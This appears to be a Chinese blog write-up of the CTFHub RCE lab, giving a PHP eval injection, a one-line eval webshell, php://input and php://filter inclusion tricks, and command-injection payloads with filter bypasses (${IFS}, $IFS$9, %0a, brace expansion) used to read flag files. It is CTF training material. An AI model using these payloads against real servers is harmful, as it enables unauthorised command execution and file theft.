zoukankan      html  css  js  c++  java
  • CTFHub RCE解析

     

    昨天大致学了一下命令执行,那我们今天开始实战。在CTFHu里练习一下

    1.eval执行

    我们先做一下eval执行吧。看见上面是一段php代码,如下:

     <?php
    if (isset($_REQUEST['cmd'])) {
        eval($_REQUEST["cmd"]);
    } else {
        highlight_file(__FILE__);
    }
    ?> 
    //eval函数可以把字符串当作php代码执行
    //$_RREQUEST可以获得post或者get上传的参数

    先浏览一下目录,看看有没有没关于flag的文件,这样我们就可以构造pyload

    ?cmd=system("ls ../../../");  //system()函数执行外部程序,并且显示输出

    MI`7X7X4BJ)H$A(XXW1S7`Y.png

    发现了flag_25103文件,那我们看看里的数据,构造pyload:

    ?cmd=system("cat ../../../flag_25103");

    GEX)E_1%@OL%(V)QUX7M235.png

    获得flag

    2.文件包含

    下面是文件包含,来看一下里面的代码

    <?php
    error_reporting(0);
    if (isset($_GET['file'])) {
        if (!strpos($_GET["file"], "flag")) {
            include $_GET["file"];
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>
    //i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
    
    //strpos()函数查找字符串在另一字符串中第一次出现的位置。
    说是如果传给file的参数里包含"flag"的话就输出Hacker!!!,如果没有的话把file里的参数当作php代码执行

    看看下面还说了有一个shell.txt,how to use it 。shell里面有一句话木马<?php eval($_REQUEST['ctfhub']);?>,

    那我们把这个一句话木马传给file变量。

    pyload:?file=shell.txt //上传一句话木马

    上传之后,我们就可以进行操作了,还是先找一下有没有关于flag的文件,然后我们再获取里面的数据

    ctfhub=system('ls ../../../');//查找目录

    UYNKDTL7GTPWEJTD{9RH{NU.png

    ctfhub=system('cat ../../../flag');//获取数据

    VE1@6RCGPV~L2S@G2S_)%[K.png

    获得flag

    3.php://input

    我们先来了解一下Php://input。

    php://input是可以访问请求的原始数据的只读流。就是说可以执行post请求的内容。它是一种伪协议。

    而要使用这个伪协议有两个条件:1.allow_url_include是On;2.POST请求

    好,我们来看代码

    <?php
    if (isset($_GET['file'])) {
        if ( substr($_GET["file"], 0, 6) === "php://" ) {
            include($_GET["file"]);
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>
    <hr>
    i don't have shell, how to get flag? <br>
    <a href="phpinfo.php">phpinfo</a>
    //i don't have shell, how to get flag? 

    这次它有没shell了。那我们从其他方面看看,上面代码说如果传给file的值开头不是php://就输出Hacker!!!,如果是的话那就执行include函数。

    题目php://input,我们从这方面入手,使用php://input

    构造pyload

    ?file=php://input

    然后我们抓一下包

    KKHTGB0OHQ0D(MZYUZLS~3X.png

    应该是成功了,然后我们发送post请求,构造pyload

    RW0(B42{NKQJ$67%XW{6YBJ.png

    一样,找到flag文件,获取数据

    YWAW7IUJXY_6B}8RP02~35J.png

    C%R]`N@K}8T4S{015{]B823.png

    3.远程包含

    此题与上题方法一样,不再做过多解释,一样是使用php://input

    4.读取源代码

    我们先说一下php://filter,这个也是伪协议的一种。是一种元封装器, 设计用于数据流打开时的筛选过滤应用。下面是一些参数H]@H_ZZQ_A~9RJI(]E5BKEJ.png

    我们还看一下源码

    <?php
    error_reporting(E_ALL);
    if (isset($_GET['file'])) {
        if ( substr($_GET["file"], 0, 6) === "php://" ) {
            include($_GET["file"]);
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>
    <hr>
    i don't have shell, how to get flag? <br>
    flag in <code>/flag</code>

    这次它直接告诉了你flag在哪里了。那下一步我们直接读取就行了。利用php://filter构造pyload

    ?filte=php://filter/read=convert.base64-encode/resource=/flag
    //以base64编码显示

    得到Y3RmaHViezY2NDg3MGEwZjM1OTU1YzE2MzQ4ZGFjOX0K,然后再解码即可

    `[0_U@K17{L_B{@SC8H7YHP.png

    5.命令注入

    7~1[2K%J_CV0[V8VKG]F0HD.png

    这告诉我们什么都没过滤,那就直接干吧

    先来

    127.0.0.0|ls //查看目录

    NB8AM8][}S[J$BJ8S}B%%G5.png

    第一个php文件有点可疑,那我们先搞搞它吧,

    127.0.0.1|cat 150962426819160.php

    IRAZ99CYUYQ(8V%@]WHZ(5P.png

    啥都没有,那查看源代码

    DY`H7%VEGI255)CH%])F%QJ.png

    6.过滤cat

    这次是过滤了cat,不过,不用担心,还是很简单的

    我们可以进行绕过,而这样的方法有很多种,在这里我使用了反斜杠,

    我们先来把flag文件找到

    127.0.0.1|ls

    TDG25WM(PLL)QXN@2EXCPAU.png

    然后获取数据

    127.0.0.1|cat flag_39251349022334.php

    $$6GYEC2~08A{)9`TMHSIZU.png

    得到flag

    7.过滤空格

    关于过滤空格呢,也是可以绕过的

    我们可以使用以下方法进行绕过

    <
    <>
    ${IFS}
    $IFS$9
    %09
    {cat,flag}
    %20

    然后其他操作与以上是一样的

    127.0.0.1|ls

    `1)}~ESSH]0{%CR2ZG7E8CH.png

    然后进行绕过

    127.0.0.1|cat$IFS$9flag_271841403229806.php

    60PM41GWLI`Q8`GNLHDEKYY.png

    获得flag

    8.过滤目录分隔符

    这个是过滤了目录分隔符“/”

    首先我们先还是老样子

    127.0.0.1|ls

    ~3W97{A4[{3Q]OA)470Q9}X.png

    127.0.0.1|cd flag_is_here;ls 

    [4}9T)1WNSH~3JQAWOQ]8`1.png

    然后我们再用

    127.0.0.1|cd flag_is_here;cat flag_3426334812644.php //转到flag_is_there里面,并获取里面的数据

    得到flag

    RPIC8EJKJBZRS4WF2N2XA69.png

    9.过滤运算符

    这个过滤了运算符|、||、&、&&。可是还有一个;运算符。可以利用它进行注入,用法与|一样,这里不再进行过多解释

    10.综合过滤练习

    LA%49O@)Z7Q2PPT$4$)`80L.png

    看样子是将之前的过滤综合到了一起。

    那我们开始了,先查看目录

    ?ip=127.0.0.1%0als

    若所有运算符都被过滤,那我们可以使用%0a来代替

    4EX3USH1DZZ7@D{5565}T}V.png

    然后进一步查看flag_is_here

    ?ip=127.0.0.1%0Als$IFS$9flag_is_here

    0Q7O$WNGZ9G`7B@}FD)1[~U.png

    然后获取数据

    ?ip=127.0.0.1%0Acd$IFS$9flag_is_here%0Acat$IFS$9flag_272101055320691.php

    CX1Q5IFZ8UJC_}V()_SEGJL.png

    成功!!!

  • 相关阅读:
    Android 获取内存信息
    Android上基于libgdx的游戏开发资料
    Android使用http协议与服务器通信
    Android 下载zip压缩文件并解压
    2014年终总结
    OSG 坑爹的Android example
    支持Android 的几款开源3D引擎调研
    利用Android NDK编译lapack
    Django 中实现连接多个数据库并实现读写分离
    Git之多人协同开发
  • 原文地址:https://www.cnblogs.com/awsole/p/14304071.html
Copyright © 2011-2022 走看看